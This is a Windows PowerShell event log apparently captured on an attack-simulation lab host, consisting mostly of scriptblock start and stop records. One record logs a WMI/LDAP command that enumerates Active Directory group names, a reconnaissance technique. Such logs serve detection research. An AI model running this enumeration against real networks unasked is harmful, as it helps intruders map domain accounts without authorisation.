Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023778
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023776
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023774
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023772
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023770
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023795
Keywords=None
Message=Started invocation of ScriptBlock ID: 54ce0ad3-d8ef-441e-9a23-a127accb9cde
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023794
Keywords=None
Message=Creating Scriptblock text (1 of 1):
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname

ScriptBlock ID: 54ce0ad3-d8ef-441e-9a23-a127accb9cde
Path:
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023792
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023790
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023789
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023788
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023786
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023784
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023782
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023780
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023812
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023810
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023808
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023807
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023806
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023804
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023803
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023802
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023800
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023799
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023798
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023797
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54ce0ad3-d8ef-441e-9a23-a127accb9cde
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023823
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023821
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023819
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023817
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
